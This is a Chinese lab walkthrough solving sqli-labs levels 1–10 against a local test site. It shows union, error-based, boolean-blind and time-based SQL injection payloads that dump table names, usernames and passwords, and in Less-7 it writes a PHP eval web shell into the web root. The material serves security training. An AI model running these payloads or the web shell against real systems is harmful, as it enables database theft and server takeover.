SQL注入实战之各种姿势(1-10关) – 作者:zhijian

第一部分:联合注入

Less-1

1.这里再说明一下基本的查询语句

Mysql 有一个系统数据库 information_schema,存储着所有的数据库的相关信息,一般的, 我们 利用该表可以进行一次完整的注入。

  • 以下为一般的流程。
  • 常用语句如下:
  • select  user();
  • select  database();
  • select  count(*) from 表名   #获取表中数据的条数
  • 猜数据库 select schema_name from information_schema.schemata
  • 猜某库的数据表 select table_name from information_schema.tables where table_schema=’库名’  and  table_name=’表名’
  • 猜某表的所有列 Select column_name from information_schema.columns where table_name=’表名’ 获取某列 的内容 Select *** from ****
  • 猜数据:
  • sleect  username  from users  #获取users表中所有数据
  • sleect  username  from users  #获取users表中username所有字段

我们把这些原始的sql语句,可以叫做为payload.一定记住这个词哦.

2.前边一篇文章已经说明了sql注入的语法分类,这里就直接做实验了.由于第一关也有了,所以这篇文章就省略了.

前一篇文章参考地址    https://www.freebuf.com/articles/web/243385.html

3.简单回顾一下

   按照注入语法分为:联合查询注入Union/报错查询注入error/布尔型注入Boolean/延时注入Time/堆叠查询注入

4.说明一下这几种注入方式的关系,他们是从易到难排列的.

    优先选择union联合注入最简单–>要求页面必须有显示位

    如果没有union注入,页面有报错信息就选择报错注入

    如果没有显示位,也没有报错信息,可以选择bool型注入,比延时注入快

    最后再选择延时注入,因为需要耗费的时间太长了.

Less-2

1.考点分析:

    #基于错误的GET整型注入

    #整型注入,不要闭合和注释;

2.实操步骤

#第一步:判断是整型还是字符型;

#and 1=1/2显示结果不同,为整型 http://localhost/sqli/Less-2/?id=1 and 1=1

http://localhost/sqli/Less-2/?id=1 and 1=2

 图片[1]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科图片[2]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

#第二步:判断有几列—>3列 http://localhost/sqli/Less-2/?id=1′    order by 3

图片[3]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

#第三步:找到显示位—>2和3位置

http://localhost/sqli/Less-2/?id=-1′    union select 1,2,3

 图片[4]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

#第四步:查看当前用户名和数据库名

http://localhost/sqli/Less-2/?id=-1′    union select 1,user(),3

#用户名为  root@localhost

http://localhost/sqli/Less-2/?id=-1′    union select 1,database(),3 #security

 图片[5]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

#第五步:获取表名—>用group_concat显示 http://localhost/sqli/Less-2/?id=-1′    union select

1,group_concat(table_name),3   from information_schema.tables where table_schema=database()  #得到表名emails,referers,uagents,users

 图片[6]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

#第六步:获取users的字段名

http://localhost/sqli/Less-2/?id=-1′    union select 1,group_concat(column_name),3   from information_schema.columns where table_schema=database()   and table_name=’users’

#得到id,username,password

 图片[7]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

#第七步:获取字段信息

http://localhost/sqli/Less-2/?id=-1′    union select 1,group_concat(0x23,username,0x2B,password),3    from users

 图片[8]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

 

Less-3

1.考点分析:  基于错误的GET单引号变形字符型注入 加\找到闭合符号为’)

2.操作步骤:

#(1)判断闭合符号
http://localhost/sqli/Less-3/?id=2\

图片[9]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

#(2)判断是字符型注入
http://判断是字符型注入localhost/sqli/Less-3/?id=2′)  and 1=1 –+
http://localhost/sqli/Less-3/?id=2′)  and 1=2 –+

图片[10]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

图片[11]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

#(3)判断列数和显示位
http://localhost/sqli/Less-3/?id=2′)   order by 3   –+
http://localhost/sqli/Less-3/?id=-2′)   union select 1,2,3  –+

图片[12]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科图片[13]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

#(4)查询库名
http://localhost/sqli/Less-3/?id=-2′)   union select 1,2,database()  –+

图片[14]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

#(5)查询表名
http://localhost/sqli/Less-3/?id=-2′)   union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()   –+

图片[15]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

#(6)查询列名
http://localhost/sqli/Less-3/?id=-2′)   union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database()  and table_name=’users’ –+

图片[16]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

#(7)查询数据
http://localhost/sqli/Less-3/?id=-2′)   union select 1,2,group_concat(0x23,username,0x7e,password) from users –+

图片[17]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

Less-4 

1.考点分析

    (1)基于错误的GET双引号字符型注入
    (2)加\找到闭合符号为”)

2.操作步骤

#(1)判断闭合符号
http://localhost/sqli/Less-4/?id=1\

图片[18]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

#(2)判断是字符型注入
http://localhost/sqli/Less-4/?id=1″) and 1=1 –+ 
http://localhost/sqli/Less-4/?id=1″) and 1=2 –+

图片[19]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科图片[20]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

#(3)判断列数和显示位
http://localhost/sqli/Less-4/?id=1″) order by 3 –+
http://localhost/sqli/Less-4/?id=-1″) union select 1,2,3 –+

#(4)查询库名
http://localhost/sqli/Less-4/?id=-1″) union select 1,2,database() –+

#(5)查询表名
http://localhost/sqli/Less-4/?id=-1″) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()   –+

#(6)查询列名
http://localhost/sqli/Less-4/?id=-1″)  union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database()  and table_name=’users’    –+

#(7)查询数据
http://localhost/sqli/Less-4/?id=-1″)  union select 1,2,group_concat(0x23,username,0x7e,password) from users     –+

图片[21]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

 

Less-7

1.考点分析:利用mysql读写漏洞来向目标网站写入一句话木马.

  • #(1)分析考点是写入一句话
         根据页面提示,是导出文件–>也就是说要通过sqli注入漏洞向web服务器写入一句话木马.
    这个木马就类似于一个存在web服务器上的病毒,需要用菜刀等连接工具连接就能获取一定的web服务器权限.
         简单来说就是攻击者想拿到web服务器的一些权限,那么就要向服务器上传一句话木马.这个木马相当于黑客主机和web服务器之间连接的桥梁.
    #(2)写入一句话需要mysql中开启
        修改my.ini的配置文件,路径是D:\phpStudy\PHPTutorial\MySQL\my.ini
        secure_file_priv= 为空表示可以在任意目录读写文件;如果为NULL表示不允许写入文件.
        #默认情况没有,想允许写入,就在配置文件中加入一行即可.
        secure_file_priv=
  • #(3)还需要知道网站的绝对路径才能利用写入漏洞.
         可以通过扫描目录结构;查看类似phpinfo这种可以暴露网站路径的方式.

图片[22]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

2.操作步骤

(1)前提:

   配置文件中secure_file_priv=  为空

   知道网站的绝对路径 

(2)答案:

图片[23]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

图片[24]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

图片[25]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

闭合符的话,没有报错提示,只能靠猜或者查看源码了(现在本地环境,不用纠结.实际场景的话,可以多积累一些闭合方式用burp来检测一下闭合符号).

http://localhost/sqli/Less-7/?id=-1′)) union select 1,2,'<?php @eval($_POST[“cmd”]); ?>’ into outfile ‘D:\\phpStudy\\PHPTutorial\\WWW\\ma.php’ –+

图片[26]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

(3)菜刀连接一句话木马

图片[27]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

第二部分:报错注入

Less-5 

1.考点分析

#GET方式单引号字符型报错注入
(1)加\找到闭合符号为’
(2)没有显示位,加\有报错,可以使用报错方式注入

2.操作步骤

#(1)判断闭合符号
http://localhost/sqli/Less-5/?id=1\

图片[28]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

#(2)判断是字符型注入
http://localhost/sqli/Less-5/?id=1′ and  1=1 –+
http://localhost/sqli/Less-5/?id=1′ and  1=2 –+

图片[29]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

图片[30]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

#(3)判断列数和显示位
http://localhost/sqli/Less-5/?id=1′ order by 3 –+
http://localhost/sqli/Less-5/?id=-1′ union select 1,2,3 –+  #没有显示位,不能用联合查询注入

#所以,只能用报错注入或者延时注入.
#报错注入基本函数格式  extractvalue(1,concat(0x7e,(payload),0x7e)) 
#这里的payload是任意的可查询语句.

图片[31]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

 

#(4)查询库名
http://localhost/sqli/Less-5/?id=-1′  and  extractvalue(1,concat(0x7e,(select database()),0x7e)) –+

图片[32]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科
#(5)查询表名
http://localhost/sqli/Less-5/?id=-1′  and  extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) –+

图片[33]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

#(6)查询列名
http://localhost/sqli/Less-5/?id=-1′  and  extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’),0x7e)) –+

图片[34]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科
#(7)查询数据
http://localhost/sqli/Less-5/?id=-1′  and  extractvalue(1,concat(0x7e,(select group_concat(0x23,username,0x7e,password) from users),0x7e)) –+

图片[35]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科(8)说明:

报错函数有长度限制,最好的方法是在select查询语句后加limit 0,1来限制查询的条数.

举例:

http://localhost/sqli/Less-5/?id=-1′  and  extractvalue(1,concat(0x7e,(select group_concat(0x23,username,0x7e,password ) from users limit 0,1 ),0x7e)) –+

注意:修改limit m,1 参数可以获取不同的表名信息,m表示从第几条开始取,后边的1表示每次取1条.

m从0开始,0表示第一条.

 

Less-6

1.考点分析

#双注入GET双引号字符型注入

#类似第5关,只不过把闭合符号的单引号变成双引号

2.操作步骤

#(1)找到闭合符号,判断正常和异常页面的区别

图片[36]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科图片[37]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科图片[38]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科
#(2)库名
http://localhost/sqli/Less-6/?id=2″ and updatexml(1,concat(0x7e,(select database()),0x7e),1)–+

图片[39]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

#(3)表名
http://localhost/sqli/Less-6/?id=2″ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1)–+

图片[40]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

#(4)列名
http://localhost/sqli/Less-6/?id=2″ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’ ),0x7e),1)–+

图片[41]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科图片[42]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

#(5)一次性爆出数据(不全,尽量用limit 0,1来获取)
http://localhost/sqli/Less-6/?id=2″ and updatexml(1,concat(0x7e,(select group_concat(username,password) from users ),0x7e),1)–+   #尽量多的爆出用户名和密码

图片[43]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

#(6)逐条爆出数据
http://localhost/sqli/Less-6/?id=2″ and updatexml(1,concat(0x7e,(select count(username) from users  ),0x7e),1)–+    #先获取username的总条数

 

图片[44]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

http://localhost/sqli/Less-6/?id=2″ and updatexml(1,concat(0x7e,(select username from users  limit 0,1),0x7e),1)–+        #显示第一个用户名

图片[45]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

第三部分:布尔注入

Less-8

1.考点分析

#单引号布尔型盲注

(1)布尔型注入用到的函数:

  • length(select database())>5  #length()里可以放查询语句,用来判断查询结果的长度
  • exists( )      #exists()里可以放查询语句,用来判断查询结果是否存在
  • ascii( )     #ascii()里可以放查询语句,用来把查询结果转换为ascii的值
  • substr( string,pos,length)  #用来截取查询结果,string可以用查询语句代替,pos表示截取位置–下标从1开始,length表示截取的长度;
  • 当然,几个函数可以搭配使用,举例:

     select * from user where id=1 and length(user())>10;  #如果user()用户长度>10,返回就正常;否则返回为空. 这个是完整的查询语句.

(2)这里用到ascii函数,它的功能是把字符转换为数字的形式进行显示(可以理解是为了更好的传输一些字符和特殊符号的一种格式).

    ascii表如下:

图片[46]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

2.操作步骤

#(1)第一步:找到正常和异常页面的不同.   判断tables表是否存在
http://localhost/sqli/Less-8/?id=1′   and exists(select * from information_schema.tables)  –+

图片[47]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科图片[48]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

图片[49]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

图片[50]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

#(2)第二步:判断数据库长度
http://localhost/sqli/Less-8/?id=1′   and length(database())=8  –+

图片[51]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科图片[52]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

#(3)第三步:获取库的第一个字符(115=s)

http://localhost/sqli/Less-8/?id=1‘ and if(ascii(substr(database(),1,1))>79,sleep(5),1) –+ #为真继续猜解

http://localhost/sqli/Less-8/?id=1‘ and if(ascii(substr(database(),1,1))=115,sleep(5),1) –+ #第一个字符

http://localhost/sqli/Less-8/?id=1‘ and if(ascii(substr(database(),2,1))>79,sleep(5),1) –+ #第二个字符

http://localhost/sqli/Less-8/?id=1‘ and if(ascii(substr(database(),3,1))>79,sleep(5),1) –+ #第三个字符

http://localhost/sqli/Less-8/?id=1‘ and if(ascii(substr(database(),4,1))>79,sleep(5),1) –+ #第四个字符

http://localhost/sqli/Less-8/?id=1‘ and if(ascii(substr(database(),5,1))>79,sleep(5),1) –+ #第五个字符

http://localhost/sqli/Less-8/?id=1‘ and if(ascii(substr(database(),6,1))>79,sleep(5),1) –+ #第六个字符

http://localhost/sqli/Less-8/?id=1‘ and if(ascii(substr(database(),7,1))>79,sleep(5),1) –+ #第七个字符

http://localhost/sqli/Less-8/?id=1‘ and if(ascii(substr(database(),8,1))>79,sleep(5),1) –+ #第八个字符

图片[53]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

图片[54]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科图片[55]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

#(4)判断表的数量
http://localhost/sqli/Less-8/?id=1′   and (select count(table_name) from information_schema.tables where table_schema=database())>3  –+   (结果为4)

图片[56]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

 

#(5)判断第一个表的长度
http://localhost/sqli/Less-8/?id=1′   and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 –+

图片[57]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

 

#(6)判断第一个表的第一个字符(101=e)(emails/users)
http://localhost/sqli/Less-8/?id=1′   and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>79  –+

图片[58]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

图片[59]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

#(7)获取表里里的字段数(一共有几列:users表一共有3列)
http://localhost/sqli/Less-8/?id=1′   and  (select count(column_name) from information_schema.columns where table_schema=database() and table_name=’users’ limit 0,1)=3 –+

图片[60]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

图片[61]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科图片[62]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科图片[63]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科图片[64]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

#(8)获取users表中的总条数
http://localhost/sqli/Less-8/?id=1′   and  (select count(*) from users)=13 –+

图片[65]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

图片[66]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科图片[67]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科图片[68]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科图片[69]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

图片[70]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科图片[71]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

图片[72]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

图片[73]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科 同理获取users表里其他的数据信息.

3.这样手工获取显然特别麻烦,也可以借助burp工具来爆破,主要步骤如下:

   开启浏览器代理—->启动burp—->浏览器提交请求—->burp中右键发送到Intruder—->先clear所有变量—->再如图,把两个变量进行添加—->payload中指定变量1类型为Numbers,值从1–10

图片[74]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

图片[75]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

第四部分:延时注入

Less-9 

1.考点分析:#单引号基于延时的盲注
(1)#延时盲注的基本格式:
if((payload),sleep(5),1):这里的payload可以换成任意的sql语句—>作为进行判断的条件.,还可以和ascii()/substr()函数搭配使用
#说明:延时注入的唯一标准就是根据页面返回时间.

(2)#举例:
?id=1′  and  if((length((user())>5)),sleep(5),1)   这句的意思表示,如果user()当前用户长度>5,就休息5s,否则就返回1.类似3元运算符.

(3)延时注入其实类似布尔型注入的变形,不过是把length/substr/ascii等函数加入到了判断条件里.(前边Less8详细讲解了几个函数猜解的过程,这里不再赘述.)

基本逻辑就是:

如果条件成立,就sleep(5)页面返回延长5s,否则就直接返回.

注意:延时注入的唯一判断标准就是页面的返回时间.尽量用浏览器查看,比较准确.

 

2.操作步骤

#(1)判断数据库长度
http://localhost/sqli/Less-9/?id=1′  and  if((length((database())>5)),sleep(5),1) –+

图片[76]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

#(2)判断数据库第一个字符(115=s)
http://localhost/sqli/Less-9/?id=1′  and if(ascii(substr(database(),1,1))=115,sleep(5),1)   –+

 

#(3)判断数据库第二个字符(101=e,同理推出数据库名为security)
http://localhost/sqli/Less-9/?id=1′  and if(ascii(substr(database(),2,1))=101,sleep(5),1)   –+

 

#(4)获取security中的表数量为4
http://localhost/sqli/Less-9/?id=1′  and if(  ((select count(*) from information_schema.tables where table_schema=database())=4),sleep(5),1)   –+

 

#(5)获取security中第一个表的第一个字符(通过修改limit 0 后第2给1的位置可以获取第一个表的不同字段信息;101=e,第一个表是emails)
http://localhost/sqli/Less-9/?id=1′  and if(ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1))=101,sleep(5),1)   –+

 

#(6)获取security中第二个表的第一个字符(通过修改limit 0 后第2给1的位置可以获取第二个表的不同字段信息;114=r,第二个表是referers)
http://localhost/sqli/Less-9/?id=1′  and if(ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 1,1),1,1))=114,sleep(5),1)   –+

 

#(7)依次类推,可以获取所有表为 emails,referers,uagents,users 

#(8)我们来获取users表的信息
#获取users表中第一个表的第1个字段(105=i,类似上边的操作,我们可以获取到字段为id,username,password)
http://localhost/sqli/Less-9/?id=1′  and if(ascii(substr((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),1,1))=105,sleep(5),1)   –+

 

#(9)继续获取username字段
#获取第一条username字段的第一个字符(68=D)
http://localhost/sqli/Less-9/?id=1′  and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),1)   –+

 

#(10)依次类推,获取password的第一条完整信息,进而获取所有信息

 

Less-10 

1.考点分析

(1)#基于时间的双引号注入
(2)#类似第9关,就是把’改成”即可.

http://localhost/sqli/Less-10/?id=1″  and  if((length((database())>5)),sleep(5),1) –+

2.操作步骤

#(1)判断数据库长度
http://localhost/sqli/Less-10/?id=1″  and  if((length((database())>5)),sleep(5),1) –+

图片[77]-SQL注入实战之各种姿势(1-10关) – 作者:zhijian-安全小百科

#(2)判断数据库第一个字符(115=s)
http://localhost/sqli/Less-10/?id=1″  and if(ascii(substr(database(),1,1))=115,sleep(5),1)   –+

#(3)判断数据库第二个字符(101=e,同理推出数据库名为security)
http://localhost/sqli/Less-10/?id=1″  and if(ascii(substr(database(),2,1))=101,sleep(5),1)   –+

#(4)获取security中的表数量为4
http://localhost/sqli/Less-10/?id=1″  and if(((select count(*) from information_schema.tables where table_schema=database())=4),sleep(5),1)   –+

#(5)获取security中第一个表的第一个字符(通过修改limit 0 后第2给1的位置可以获取第一个表的不同字段信息;101=e,第一个表是emails)
http://localhost/sqli/Less-10/?id=1″  and if(ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1))=101,sleep(5),1)   –+

#(6)获取security中第二个表的第一个字符(通过修改limit 0 后第2给1的位置可以获取第二个表的不同字段信息;114=r,第二个表是referers)
http://localhost/sqli/Less-10/?id=1″  and if(ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 1,1),1,1))=114,sleep(5),1)   –+

#(7)依次类推,可以获取所有表为 emails,referers,uagents,users 

#(8)我们来获取users表的信息
#获取users表中第一个表的第1个字段(105=i,类似上边的操作,我们可以获取到字段为id,username,password)
http://localhost/sqli/Less-10/?id=1″  and if(ascii(substr((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),1,1))=105,sleep(5),1)   –+

#(9)继续获取username字段
#获取第一条username字段的第一个字符(68=D)
http://localhost/sqli/Less-10/?id=1″  and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),1)   –+

#(10)依次类推,获取password的第一条完整信息,进而获取所有信息
    

 

来源:freebuf.com 2020-07-18 00:52:46 by: zhijian

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论